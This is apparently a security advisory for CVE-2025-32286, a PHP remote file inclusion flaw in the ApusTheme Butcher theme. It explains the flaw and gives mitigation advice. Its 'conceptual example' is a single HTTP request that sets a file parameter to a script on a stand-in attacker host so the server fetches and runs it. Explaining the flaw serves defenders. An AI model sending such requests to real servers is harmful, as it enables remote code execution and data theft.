Overview
In the realm of cybersecurity, the discovery of new vulnerabilities plays a crucial role in the maintenance and fortification of systems. The recently unearthed CVE-2025-32286 is one such critical vulnerability. Specifically, it pertains to an Improper Control of Filename for Include/Require Statement in PHP Program, more commonly referred to as a ‘PHP Remote File Inclusion’ vulnerability, found in ApusTheme Butcher. This vulnerability, if exploited, could lead to potential system compromise or data leakage, posing a significant threat to systems running versions of Butcher up to 2.40.
Vulnerability Summary
CVE ID: CVE-2025-32286
Severity: High (8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, data leakage
Affected Products
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Product | Affected Versions
ApusTheme Butcher | Up to 2.40
How the Exploit Works
The exploit takes advantage of the improper control of a filename in an include/require statement within a PHP program. Essentially, it tricks the application into including a file from a remote server. This file could contain malicious PHP code, which would then be executed on the vulnerable server. This can lead to a full system compromise and unauthorized access to sensitive data.
Conceptual Example Code
Here is a conceptual example of how the vulnerability might be exploited. This example demonstrates a malicious HTTP request that would trigger the remote file inclusion:
GET /index.php?file=http://attacker.com/malicious_script.txt HTTP/1.1
Host: vulnerable-server.comIn this example, the “file” parameter is manipulated to point to a malicious script hosted on an attacker-controlled server. When the request is processed by the server, the malicious script is executed, leading to a potential system compromise.
Mitigation Guidance
Given the severity of this vulnerability, it is recommended to apply the vendor patch as soon as it becomes available. In the meantime, use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to detect and prevent attempts to exploit this vulnerability. These systems can be configured to block requests containing suspicious parameters, thereby providing temporary mitigation until the patch is applied.